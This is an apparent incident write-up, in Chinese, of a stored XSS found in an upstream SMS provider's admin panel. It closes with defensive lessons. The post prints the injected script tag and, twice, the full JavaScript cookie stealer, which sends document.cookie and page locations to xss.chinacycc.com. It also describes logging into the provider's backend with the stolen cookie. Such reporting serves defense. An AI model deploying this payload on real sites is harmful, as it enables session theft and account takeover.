TOC

记一次 XSS 漏洞发现过程

某用户委托安全公司对本司(SendCloud)短信发送业务做安全检测,发现咱们的上游通道某一环节的安全漏洞。
跟踪这个过程,真的十分有趣。

这是 XSS 第一次发生在我身边,怎么也不会想到有人会犯这么弱智的错误。最基本的页面输出转义都没做。
页面内容输出转义、SQL 防注入、表单的 CSRF token 校验,应该算是 Web 站点搭建的基础工作吧!

过程

  1. 用户通过我们的短信服务往安全公司指定手机号推送消息
  2. 安全公司回复以下内容(会经过运营商反馈给通道):
    <script src=https://xss.chinacycc.com/EDQmSg?1554797849></script>
    
    3. 上游通道后台管理页面未做处理,admin 用户登录之后,查看短信回复内容页面时,页面直接输出了回复内容,导致 XSS —— 站外不安全脚本被加载执行。
  3. 脚本获取重要信息(document.location.hreftop.location.hrefdocument.cookiewindow.opener.location.href),发送给指定地址。
  4. 安全公司利用 Cookie 直接就访问了上游通道的后台,而且还是最高权限。

...


我们利用用户反馈过来的这段信息,同样登录了这个后台,确认后台真的加载了这段 JS。

估计是框架拦截请求,采用 jquery 加载,还加上了时间戳。

请求伪造了一个图片请求用于上传数据。

经验与教训

  1. 自身业务安全性之外,应该经常做全链路的业务安全性检测,不能让用户对我们的业务安全性产生质疑。
    数据泄露真的是太严重了,如果是恶意的,那...
    之前没人注意到这个问题,是更可怕的事情。
  2. 我就在中网讯通后台这么闲逛,他们就是没有任何感觉(我们已经通过正常途径在通知他们了)。
    除了基础的防范手段之外,应该:
    1. 管理后台尽量不要暴露到公网
    2. 尽量一个用户只允许在一个地方登录
    3. 记录用户登录信息,连用户账号的认证错误都记下来
    4. 将 IP、UserAgent 等指纹数据和 SESSION ID 关联起来,除了使用 SESSION ID 检验之外,还应该判断这些指纹数据能不能匹配得上。(好像淘宝网,还是哪里,有一个 JS 专门用来计算 B 端指纹,对反爬也有帮助)
    5. 对管理后台的疑似非正常登录(不是之前常用 IP,浏览器等)应该有告警,并立即处理。
    6. ...先就说这么多吧

附:脚本

(function () {
    new Image().src =
        "http://xss.chinacycc.com/index.php?do=api&id=EDQmSg&location=" +
        escape(
            (function () {
                try {
                    return document.location.href;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&toplocation=" +
        escape(
            (function () {
                try {
                    return top.location.href;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&cookie=" +
        escape(
            (function () {
                try {
                    return document.cookie;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&opener=" +
        escape(
            (function () {
                try {
                    return window.opener && window.opener.location.href ? window.opener.location.href : "";
                } catch (e) {
                    return "";
                }
            })()
        );
})();
if ("" == 1) {
    keep = new Image();
    keep.src = "https://xss.chinacycc.com/index.php?do=keepsession&id=EDQmSg&url=" + escape(document.location) + "&cookie=" + escape(document.cookie);
}

格式化之后

(function () {
    new Image().src =
        "http://xss.chinacycc.com/index.php?do=api&id=EDQmSg&location=" +
        escape(
            (function () {
                try {
                    return document.location.href;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&toplocation=" +
        escape(
            (function () {
                try {
                    return top.location.href;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&cookie=" +
        escape(
            (function () {
                try {
                    return document.cookie;
                } catch (e) {
                    return "";
                }
            })()
        ) +
        "&opener=" +
        escape(
            (function () {
                try {
                    return window.opener && window.opener.location.href ? window.opener.location.href : "";
                } catch (e) {
                    return "";
                }
            })()
        );
})();
if ("" == 1) {
    keep = new Image();
    keep.src = "https://xss.chinacycc.com/index.php?do=keepsession&id=EDQmSg&url=" + escape(document.location) + "&cookie=" + escape(document.cookie);
}